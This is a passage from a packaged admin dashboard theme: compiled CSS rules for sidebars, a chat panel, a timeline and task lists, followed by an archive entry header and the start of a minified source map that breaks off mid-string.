          opacity: 1;
          display: block; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened {
        height: auto;
        background-color: #ffffff;
        border: none;
        z-index: 5;
        -webkit-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        -moz-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        -moz-transform: scale(1.01);
        -o-transform: scale(1.01);
        -ms-transform: scale(1.01);
        -webkit-transform: scale(1.01);
        transform: scale(1.01); }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a {
          font-size: 16px;
          color: #263238; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap {
          opacity: 1; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item + .list-item {
        margin-top: -1px; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child {
        border-bottom: none; }
  .wrapper .page-wrap .footer {
    background: #ffffff;
    padding: 20px 30px;
    border-top: 1px solid rgba(0, 0, 0, 0.04);
    font-size: calc(0.875rem - 0.05rem);
    -moz-transition: all 0.25s ease;
    -o-transition: all 0.25s ease;
    -webkit-transition: all 0.25s ease;
    transition: all 0.25s ease; }
    @media only screen and (min-width: 1024px) {
      .wrapper .page-wrap .footer {
        padding-left: 270px; } }
  .wrapper .page-wrap .right-sidebar {
    position: fixed;
    top: 60px;
    right: 0;
    width: 240px;
    background: #fff;
    height: calc(100vh - 60px);
    border-left: 1px solid #eef1f2;
    border-top: 1px solid #eef1f2;
    padding: 1.07143em;
    z-index: 9;
    -moz-transform: translateX(100%);
    -o-transform: translateX(100%);
    -ms-transform: translateX(100%);
    -webkit-transform: translateX(100%);
    transform: translateX(100%);
    -moz-transition: all 0.25s ease;
    -o-transition: all 0.25s ease;
    -webkit-transition: all 0.25s ease;
    transition: all 0.25s ease; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6 {
      color: #353c4e; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group {
      position: relative; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control {
        padding-right: 30px;
        border-radius: 50px;
        -webkit-border-radius: 50px;
        -moz-border-radius: 50px;
        padding-left: 15px; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i {
        position: absolute;
        top: 8px;
        right: 10px;
        font-size: 16px;
        color: #bbb; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group {
      margin-left: -1.07143em;
      margin-right: -1.07143em; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item {
        background: none;
        border: 0;
        border-top: 1px solid #eef1f2;
        padding: 1em 1.07143em;
        overflow: hidden;
        color: #999;
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-align-items: center;
        -moz-align-items: center;
        -ms-align-items: center;
        align-items: center; }
        .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure {
          margin: 0;
          position: relative;
          margin-right: 10px; }
          .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img {
            width: 40px;
            height: 40px; }
        .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span {
          line-height: 1em;
          display: -webkit-box;
          display: -moz-box;
          display: -ms-flexbox;
          display: -webkit-flex;
          display: flex;
          -webkit-justify-content: end;
          -moz-justify-content: end;
          -ms-justify-content: end;
          justify-content: end;
          -ms-flex-pack: end;
          -webkit-flex-direction: column;
          -moz-flex-direction: column;
          -ms-flex-direction: column;
          flex-direction: column; }
          .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name {
            font-size: 14px;
            color: #444;
            margin-bottom: 5px; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after {
        position: absolute;
        top: calc(50% + 15px);
        left: 0;
        -moz-transform: translateY(-50%);
        -o-transform: translateY(-50%);
        -ms-transform: translateY(-50%);
        -webkit-transform: translateY(-50%);
        transform: translateY(-50%); }
  .wrapper .page-wrap .chat-panel {
    position: fixed;
    top: calc(100vh);
    right: calc( 240px + 15px);
    width: 310px;
    z-index: 9999;
    -moz-transform: translateY(-100%) translateX(14.0625rem);
    -o-transform: translateY(-100%) translateX(14.0625rem);
    -ms-transform: translateY(-100%) translateX(14.0625rem);
    -webkit-transform: translateY(-100%) translateX(14.0625rem);
    transform: translateY(-100%) translateX(14.0625rem); }
    .wrapper .page-wrap .chat-panel .card {
      border: none;
      margin-bottom: 1.42857em;
      border-radius: 10px;
      -webkit-border-radius: 10px;
      -moz-border-radius: 10px;
      -webkit-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2);
      -moz-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2);
      box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); }
      .wrapper .page-wrap .chat-panel .card .card-header {
        background: none;
        padding: 1.07143em 1.42857em;
        font-size: 1.14286em;
        border-bottom: 1px solid rgba(153, 153, 153, 0.2); }
      .wrapper .page-wrap .chat-panel .card .card-body {
        padding: 1.07143em; }
        .wrapper .page-wrap .chat-panel .card .card-body .messages {
          position: relative;
          max-height: 21.42857em;
          overflow-y: scroll;
          margin-top: -1.07143em;
          margin-right: -1.07143em;
          margin-left: -1.07143em;
          padding-top: 1.07143em;
          padding-right: 1.07143em;
          padding-left: 1.07143em; }
          .wrapper .page-wrap .chat-panel .card .card-body .messages .message {
            margin: 0.71429em 0; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child {
              margin-top: 0; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure {
              -webkit-box-ordinal-group: 3;
              -ms-flex-order: 2;
              margin: 0;
              position: relative;
              order: 2; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img {
                width: 30px;
                height: 30px; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body {
              margin-top: .5em;
              display: -webkit-inline-box;
              display: -ms-inline-flexbox;
              display: inline-flex;
              -webkit-box-orient: vertical;
              -webkit-box-direction: normal;
              -ms-flex-direction: column;
              flex-direction: column;
              -webkit-box-align: end;
              -ms-flex-align: end;
              align-items: flex-end;
              margin: auto 1.5em;
              -webkit-box-ordinal-group: 2;
              -ms-flex-order: 1;
              order: 1; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p {
                background: #404E67;
                border: 1px solid #404E67;
                border-radius: 3px;
                padding: .5em 1em;
                color: #fff;
                margin-bottom: .5em;
                position: relative; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  top: 1.25rem;
                  right: -7px;
                  left: auto;
                  border-style: solid;
                  border-width: 6px 0 7px 6px;
                  border-color: transparent transparent transparent #404E67;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before {
                  right: -7px;
                  border-left-color: #404E67; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure {
              -webkit-box-ordinal-group: 2;
              -ms-flex-order: 1;
              order: 1; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body {
              -webkit-box-align: start;
              -ms-flex-align: start;
              align-items: flex-start;
              -webkit-box-ordinal-group: 3;
              -ms-flex-order: 2;
              order: 2; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p {
                background: #fff;
                border: 1px solid #eef1f2;
                border-radius: 0;
                border-top-right-radius: 3px;
                border-bottom-right-radius: 3px;
                border-radius: 3px;
                color: #666; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  right: auto;
                  left: -7px;
                  border-style: solid;
                  border-width: 6px 7px 6px 0;
                  border-color: transparent #fff transparent transparent;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before {
                  left: -9px;
                  border-right-color: #eef1f2; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  right: auto;
                  left: -7px;
                  border-style: solid;
                  border-width: 6px 7px 6px 0;
                  border-color: transparent #fff transparent transparent;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
      .wrapper .page-wrap .chat-panel .card .card-footer {
        background: none;
        padding: 1.07143em 1.42857em;
        border-top: 1px solid rgba(153, 153, 153, 0.2); }
        .wrapper .page-wrap .chat-panel .card .card-footer .list-icon {
          font-size: 1.125rem; }
        .wrapper .page-wrap .chat-panel .card .card-footer textarea {
          box-shadow: none;
          resize: none;
          padding: 0;
          width: 100%;
          min-height: auto;
          padding: 5px 0; }
.wrapper.nav-collapsed .header-top {
  padding-left: 60px; }
.wrapper.nav-collapsed .page-wrap .app-sidebar {
  width: 60px; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar:hover {
    width: 240px; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text {
      display: inline-block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel {
      display: block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span {
      display: inline-block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before {
      display: inline-block; }
.wrapper.nav-collapsed .page-wrap .main-content {
  padding-left: 75px; }
.wrapper.nav-collapsed .page-wrap .footer {
  padding-left: 90px; }
.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle {
  display: none; }
.wrapper.right-sidebar-expand .right-sidebar {
  -moz-transform: translateX(0);
  -o-transform: translateX(0);
  -ms-transform: translateX(0);
  -webkit-transform: translateX(0);
  transform: translateX(0); }
.wrapper.right-sidebar-expand .chat-panel {
  -moz-transform: translateY(-100%) translateX(0);
  -o-transform: translateY(-100%) translateX(0);
  -ms-transform: translateY(-100%) translateX(0);
  -webkit-transform: translateY(-100%) translateX(0);
  transform: translateY(-100%) translateX(0); }

hr {
  box-sizing: content-box;
  height: 0;
  margin-top: 1rem;
  border: 0;
  border-top: 1px solid rgba(0, 0, 0, 0.1); }

.profiletimeline {
  position: relative;
  padding-left: 40px;
  margin: 40px 10px 0 30px;
  border-left: 1px solid rgba(0, 0, 0, 0.1); }
  .profiletimeline .sl-item {
    margin-top: 8px;
    margin-bottom: 30px; }
    .profiletimeline .sl-item .sl-left {
      float: left;
      margin-left: -60px;
      z-index: 1;
      margin-right: 15px; }
      .profiletimeline .sl-item .sl-left img {
        max-width: 40px; }
    .profiletimeline .sl-item .sl-right .sl-date {
      font-size: 12px;
      color: #afb5c1; }

.dd-handle {
  background: #f7f7f7;
  border-radius: 3px;
  padding: 20px;
  position: relative;
  display: block;
  text-decoration: none;
  margin: 5px 0;
  overflow: hidden; }
  .dd-handle p {
    margin: 0; }
  .dd-handle:after, .dd-handle::after {
    content: '';
    width: 5px;
    height: 100%;
    position: absolute;
    top: 0;
    left: 0; }

.dd-list {
  margin: 0;
  padding: 0;
  list-style: none; }
  .dd-list .dd-placeholder, .dd-list .dd-empty {
    margin: 5px 0;
    padding: 0;
    min-height: 30px;
    background: #f2fbff;
    border: 1px dashed #b6bcbf;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
  .dd-list .dd-list {
    padding-left: 30px; }

.dd-dragel {
  position: absolute;
  pointer-events: none;
  z-index: 9999; }
  .dd-dragel .dd-handle {
    -webkit-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1);
    -ms-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1);
    box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); }

.todo-task .dd-handle:after, .todo-task .dd-handle::after {
  background-color: #f5365c; }

.progress-task .dd-handle:after, .progress-task .dd-handle::after {
  background-color: #F7CA18; }

.completed-task .dd-handle:after, .completed-task .dd-handle::after {
  background-color: #26C281; }

[class*="user--"]::after {
  height: 0.64286em;
  width: 0.64286em;
  display: block;
  position: absolute;
  top: 0;
  right: 10%;
  border-radius: 100px;
  content: "";
  -webkit-box-shadow: 0 0 0 2px #fff;
  box-shadow: 0 0 0 2px #fff; }

.user--online:after {
  background: #06d6a0; }

.user--busy:after {
  background: #ff3333; }

.user--offline:after {
  background: #bbb; }

/*# sourceMappingURL=theme.css.map */
PK��\����qyqycss/theme.min.css.mapnu�[���{
"version": 3,
"mappings": "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